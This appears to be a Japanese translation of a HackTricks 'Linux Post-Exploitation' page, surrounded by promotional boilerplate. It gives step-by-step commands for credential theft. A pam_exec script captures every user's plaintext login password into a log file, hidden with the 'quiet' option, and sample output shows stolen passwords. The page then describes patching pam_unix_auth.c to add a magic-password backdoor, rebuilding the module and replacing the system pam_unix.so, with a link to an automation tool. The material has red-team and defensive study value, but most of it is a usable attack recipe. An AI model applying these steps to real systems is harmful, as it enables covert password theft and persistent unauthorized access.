.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Linux Post-Exploitation
AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループに参加するか、テレグラムグループに参加するか、Twitter 🐦 @carlospolopmでフォローする。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
PAMを使用したログオンパスワードのスニッフィング
PAMモジュールを設定して、ログインするたびに各ユーザーが使用するパスワードを記録しましょう。PAMが何かわからない場合は、以下をチェックしてください:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
まず、新しい認証が発生するたびに呼び出されるbashスクリプトを作成します。
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
変数はPAM固有のもので、pam_exec.so
モジュールを介して利用可能になります。
変数の意味は以下の通りです:
- $PAM_USER: 入力されたユーザー名。
- $PAM_RHOST: リモートホスト(通常はIPアドレス)
- $(cat -): これは
stdin
を読み込み、スクリプトが掴むパスワードが含まれます - 結果は
/var/log/toomanysecrets.log
のログファイルにパイプされます
ファイルの全ユーザーによる読み取りを防ぐためには、事前にファイルを作成してchmod
を実行することを検討してください。例えば:
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
次に、PAM設定ファイルを更新する必要があります。`pam_exec`モジュールを使用してスクリプトを呼び出します。
`/etc/pam.d/`には様々な設定ファイルがあり、`common-auth`を選択します。
sudo nano /etc/pam.d/common-auth
ファイルの一番下に、次の認証モジュールを追加してください:
auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
オプションの意味は以下の通りです:
- optional: エラーが発生しても認証が失敗しないようにする(必須のステップではない)
- pam_exec.so: 任意のスクリプトを呼び出すことができるPAMモジュールです
- expose_authtok:
stdin
を通じてパスワードを読み取ることを可能にするトリックです - quiet: ユーザーにエラーを表示しない(何かがうまくいかない場合)
- 最後の引数は、以前に作成されたシェルスクリプトです
最後に、ファイルを実行可能にします:
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
さあ、これを試してみましょう。別のマシンからsshで接続するか、ローカルでログインします。
そして、ログファイルを見てください:
$ sudo cat /var/log/toomanysecrets.log
Sun Jun 26 23:36:37 PDT 2022 tom, Trustno1!, From: 192.168.1.149
Sun Jun 26 23:37:53 PDT 2022 tom, Trustno1!, From:
Sun Jun 26 23:39:12 PDT 2022 tom, Trustno1!, From: 192.168.1.149
PAMへのバックドアの仕掛け
PAMのソースコードに移動しましょう(使用しているディストリビューションによって異なりますが、自分のものと同じバージョン番号を取得してください。)そして、pam_unix_auth.cファイルの170/180行目あたりを見てみましょう:
vi modules/pam_unix/pam_unix_auth.c
![](../../.gitbook/assets/image (651).png)
次の手順で変更しましょう:
![](../../.gitbook/assets/image (638) (2) (2).png)
これにより、**パスワード "0xMitsurugi"** を使用する任意のユーザーがログインできるようになります。
`pam_unix_auth.c` を再コンパイルし、pam_unix.so ファイルを置き換えます:
make
sudo cp \
/home/mitsurugi/PAM/pam_deb/pam-1.1.8/modules/pam_unix/.libs/pam_unix.so \
/lib/x86_64-linux-gnu/security/
{% hint style="info" %} このプロセスは https://github.com/zephrax/linux-pam-backdoor で自動化できます。 {% endhint %}
参考文献
- https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/
- https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!
HackTricksをサポートする他の方法:
- HackTricksにあなたの会社を広告したい、またはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS & HackTricksグッズを入手する
- The PEASS Familyを発見する、私たちの独占的なNFTsのコレクション
- 💬 Discordグループに参加するか、テレグラムグループに参加する、またはTwitter 🐦 @carlospolopmをフォローする。
- HackTricks と HackTricks Cloud のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。